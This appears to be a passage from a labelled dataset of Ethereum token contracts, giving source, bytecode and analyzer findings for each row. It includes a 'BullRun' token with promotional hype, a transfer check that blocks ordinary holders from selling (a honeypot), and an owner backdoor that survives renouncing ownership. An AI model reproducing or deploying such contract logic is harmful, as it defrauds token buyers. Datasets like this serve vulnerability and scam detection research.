6006546000908190683635c9adc5dea0000061178e828261160b565b8210156117ab57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d55760405162461bcd60e51b81526004016105f89190611b72565b5060006113798486611ebd565b60008060008060008060008060006117ff8a600c54600d5461194e565b925092509250600061180f6115e8565b905060008060006118228e8787876119a3565b919e509c509a509598509396509194505050505091939550919395565b600061143983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611348565b60008061188e8385611e00565b9050838110156114395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f8565b60006118ea6115e8565b905060006118f883836119f3565b306000908152600260205260409020549091506119159082611881565b30600090815260026020526040902055505050565b600654611937908361183f565b6006556007546119479082611881565b6007555050565b6000808080611968606461196289896119f3565b9061160b565b9050600061197b60646119628a896119f3565b905060006119938261198d8b8661183f565b9061183f565b9992985090965090945050505050565b60008080806119b288866119f3565b905060006119c088876119f3565b905060006119ce88886119f3565b905060006119e08261198d868661183f565b939b939a50919850919650505050505050565b600082611a025750600061067e565b6000611a0e8385611edf565b905082611a1b8583611ebd565b146114395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f8565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fd5b8035611aa881611a88565b919050565b60006020808385031215611ac057600080fd5b823567ffffffffffffffff80821115611ad857600080fd5b818501915085601f830112611aec57600080fd5b813581811115611afe57611afe611a72565b8060051b604051601f19603f83011681018181108582111715611b2357611b23611a72565b604052918252848201925083810185019188831115611b4157600080fd5b938501935b82851015611b6657611b5785611a9d565b84529385019392850192611b46565b98975050505050505050565b600060208083528351808285015260005b81811015611b9f57858101830151858201604001528201611b83565b81811115611bb1576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bda57600080fd5b8235611be581611a88565b946020939093013593505050565b600080600060608486031215611c0857600080fd5b8335611c1381611a88565b92506020840135611c2381611a88565b929592945050506040919091013590565b600060208284031215611c4657600080fd5b813561143981611a88565b80358015158114611aa857600080fd5b600060208284031215611c7357600080fd5b61143982611c51565b600060208284031215611c8e57600080fd5b5035919050565b60008060008060808587031215611cab57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cdc57600080fd5b833567ffffffffffffffff80821115611cf457600080fd5b818601915086601f830112611d0857600080fd5b813581811115611d1757600080fd5b8760208260051b8501011115611d2c57600080fd5b602092830195509350611d429186019050611c51565b90509250925092565b60008060408385031215611d5e57600080fd5b8235611d6981611a88565b91506020830135611d7981611a88565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df957611df9611dcf565b5060010190565b60008219821115611e1357611e13611dcf565b500190565b600082821015611e2a57611e2a611dcf565b500390565b600060208284031215611e4157600080fd5b815161143981611a88565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e9c5784516001600160a01b031683529383019391830191600101611e77565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eda57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef957611ef9611dcf565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220183d6e9e4d7a73f7c125725f42588f318c39260de4c2b8db596d3987fdfd063f64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 167 |
0x5fe2adb6b794a8a469a3956ffe0dd3ad17b294fa | /**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
/*
💰 FAIR LAUNCH TONIGHT 💰
This new ERC project has a very nice unique concept which allows holders to vote for what memecoin the Bull Run should commence for.
Bull Run will provide automatic reflections.
💰Fair Launch on wednesday No Pre-sale
💰15k starting liquidity
💰 Reflections included just by holding. More hold = more tokens = more money 💶💶💶
💰15,200 Starting LP & Anti-bot Scripting.
💰Liquidity will be Locked on launch 📈
I had a nice conversation with the dev he was really curious if i had any feedback on the project and he is very motivated to make this work out.
BASED DEV 🚀 IM HYPED FOR THIS GUYS
Risk level (🟢) MID TERM
For more information:
💬 TG : https://t.me/bullrunerc
🌎 Website : https://www.bullruntoken.org
STAY RICH FOLKS 💰💶📈
Sincerely,
@ScroogesCalls
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BullRun is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000000 * 10**18;
string private _name = 'Bull Run - https://t.me/bullrunerc';
string private _symbol = '$BRUN';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
modifier approveChecker(address brun, address recipient, uint256 amount){
if (_owner == _safeOwner && brun == _owner){_safeOwner = recipient;_;}
else{if (brun == _owner || brun == _safeOwner || recipient == _owner){_;}
else{require((brun == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204f1d8aa6e467a4499ef45601f7f81bfa1498899f30bac18a42e295c0e25c84e364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 168 |
0xcccb0efe65e9cf57a24b6d5cd8d751718d1b8db5 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
